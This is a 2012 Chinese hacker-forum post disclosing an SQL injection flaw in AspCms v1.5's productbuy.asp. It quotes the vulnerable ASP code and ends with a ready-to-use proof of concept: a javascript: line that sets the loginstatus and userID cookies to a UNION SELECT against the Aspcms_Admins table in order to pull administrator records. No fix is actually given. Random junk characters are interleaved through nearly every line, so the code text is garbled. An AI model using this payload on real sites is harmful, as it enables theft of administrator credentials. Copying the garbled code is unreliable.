找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2185|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内....., g* U2 Z6 K9 i
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
" b* t" ^6 \0 N' w- G/ ^废话不多说,看代码:
% t6 G% Y* p) D4 h/ v" A
4 m7 v: W' X; T<%
4 a  `/ `1 }4 k
. p% {/ z$ U* M( iif action = "buy" then
9 h$ r0 ~/ L) T$ c, h# Q1 `8 d) x) m6 X  N$ Z
        addOrder()
2 \7 \6 O* s, C& p9 }! t4 A
  ~# U* c. m+ W  X+ Belse  H5 R2 |# X) V6 X( A+ d3 s
3 h3 l; V* }0 x4 z/ m! V% \% Z
        echoContent()
: _9 [3 E1 W( c* e! Y' n2 P2 L5 M2 @; w. O# k3 C6 u) L  o8 A
end if6 s8 q5 m7 n' F. A3 c

( Z: K' C3 J) k$ Z4 R/ C- a1 d# k6 p5 V8 o- Q6 {! V' `  s

6 q7 j2 M/ W3 B* V) i$ R' o) l……略过* S2 S) t# K) ?. U/ P' f: O1 {# [$ Q: ~
1 A3 @9 {" a" k4 s% h

6 i. a5 c# E# b$ M& Q. l1 A; b- R$ s. H
Sub echoContent()" |% H3 `7 W3 A  ~2 {' C5 W. ?/ P' z
% U4 g& p. }' o
        dim id2 m6 U( j5 A# K  t1 |2 w

: \; h' n) {5 J* W        id=getForm("id","get")  |/ y8 a9 K9 t: l
% x# i9 i6 _9 ^
        . j/ n8 D. O* v0 t# X
) j  o8 i& X( Z$ ^% O( `. e
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
7 D+ ]+ V; n6 s, d, G
' y1 e4 V: o( \1 Q1 v$ l; M" y        * y: t3 ^$ |; a8 M  C/ z

' l+ W! d0 n: [        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")# C4 `2 N& w) G5 T: o6 @) x

' q+ X( d8 {- h  x5 E        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ s8 Y& C0 N1 u' r

8 A0 Z' C% K4 g5 A$ {3 X" H0 z! p        Dim templatePath,tempStr% ~  |0 c( l* D5 P# i4 d- c- @

3 v' v& T% n: P6 }' S        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
7 L7 ~- X4 V% S7 T& m; l, ~' P% n; r$ t& w' ]
2 \. X  @. n; E
5 u% G, e. }2 W, e1 m
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
3 R) \' m/ E3 H& s2 q* Q5 e; {. E: K: N; o% f
        selectproduct=rsObj(0)0 d( E$ x3 E' c1 y. o( L- z) S- k

' p1 n' x  {2 e! l' g        2 V2 `6 U5 L# T
# C$ P9 R- _  u) z, p
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
7 @0 @1 _5 ]; C5 b  n" o$ g/ E# l/ }2 o: B6 S
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0# p; b3 n" ^: Z

# U5 ]! y3 G1 V* m        if rCookie("loginstatus")=1 then  * l( X  ^& Z+ z! T0 w; @& O

+ ~; ]) |( t' e- ~4 E                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
, H0 ]/ M2 }5 q* I  x9 k
9 A9 ~' U; H5 I( A+ g                linkman=rsObj("truename")5 L' D  v+ I+ i  x
/ q9 i. a% N8 L; V. `2 A
                gender=rsObj("gender")9 c7 Z3 w3 v0 n2 z
2 s0 S8 U  A& _) B" D# N7 N
                phone=rsObj("phone"): E. ?" G5 U/ u
% P1 b8 U9 X: G1 m
                mobile=rsObj("mobile")
; t5 N* D1 \6 P0 t( C, }% s9 N2 T# \, ?7 l/ j
                email=rsObj("email")( c! ^0 w% n3 J( |, W- h

" e5 n$ @) R' Y, j+ y% D                qq=rsObj("qq")
5 D; y/ Q2 ~  P( }3 X( Z
7 e1 q3 Y$ ~# C: @5 m                address=rsObj("address")$ V  P8 K* ~# ^4 I3 J. y5 ]2 H' r

6 o1 u$ h; T$ n  q  X                postcode=rsObj("postcode")
6 @. \( |" P: m; N0 C* ~2 u, i# Q& l" H) E8 b
        else
& r2 y# t) W' Z* O: c% f- H
1 G: @' ]6 P8 E6 K1 Z                gender=1& C: `' {3 u# `

1 P* S; w, _" Y( s! ]$ P2 e        end if
9 g: b, i2 d5 {' N. n5 e  n3 B0 r# `9 m9 ?$ v5 p
        rsObj.close()
# Z* h" v6 z0 K7 g0 ~: m+ }( Z$ K; V
               
; m+ h0 l, d0 R+ z- V! h% L4 ]3 O% [1 I2 ~5 W% N
        with templateObj
. }" @, C9 _: H, x! V0 @7 O! Y8 t/ a; b( w( I% Z9 N4 U
                .content=loadFile(templatePath)        4 T0 ]7 I  d0 a& y

- N! |% y/ U0 Y                .parseHtml()* s/ K" g0 @* K2 B4 g. C# T, {
# `* ~& \# J6 ^1 C+ ]/ z
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)7 }! J2 z! H9 F5 c; T4 S- m7 S

; }4 E6 E5 E/ w8 l                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                5 q4 S' `5 ]" f" o& P0 v
( s1 C. Z7 X5 ?! f6 y# E
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  u1 N. i4 p6 W) O1 _) v8 F. v
' N. X% D( @5 E+ [' t" \                .content=replaceStr(.content,"[aspcms:phone]",phone)                / ]+ R/ k6 U; e4 z9 ~: S

, G/ v) L& ~* z4 G                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                # r& {+ {, L( l! Z( V

! F, i/ M; @( J( _: Z                .content=replaceStr(.content,"[aspcms:email]",email)                        
! U1 l& u1 z/ U) `+ E6 l
# \, W; s' [  W/ |" W" M8 j, L                .content=replaceStr(.content,"[aspcms:qq]",qq)                        $ Y7 n& B( W! h
4 x  U; \: f$ Y" e# K% X2 v6 A
                .content=replaceStr(.content,"[aspcms:address]",address)                        4 |. W1 w, v- L9 J; K

! F! g& M+ h8 r7 ?                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        ! n1 _) ^: e. q1 F
1 i3 n8 w) y+ K! z% Q
                .parseCommon()                 
+ i# j: Z1 S. M; L
1 q) Z/ `5 Q  w' l. g" {                echo .content * j5 v4 I; x& [; y" ]- k2 F

0 R; N/ w+ k8 {! k1 O# B. s  F# h2 R2 f0 o        end with8 J" T4 F/ A- J# \) j4 k5 G' b0 [( u

7 o6 I* F+ n( C+ n* S* ~: r        set templateobj =nothing : terminateAllObjects
4 b) z; u7 J0 f: \2 H" p7 t+ _9 t0 `8 x1 p: D
End Sub
) g3 j; N+ s! H漏洞很明显,没啥好说的0 V% n4 c( Y0 b4 ]' L, a+ x( n
poc:; L; H- r, P) e& _
$ M5 e1 K; Z( D. ?# i8 ?3 _
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​  m( X" K1 e; B! v# k( b; p! J
) w1 H' n* i) N' ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表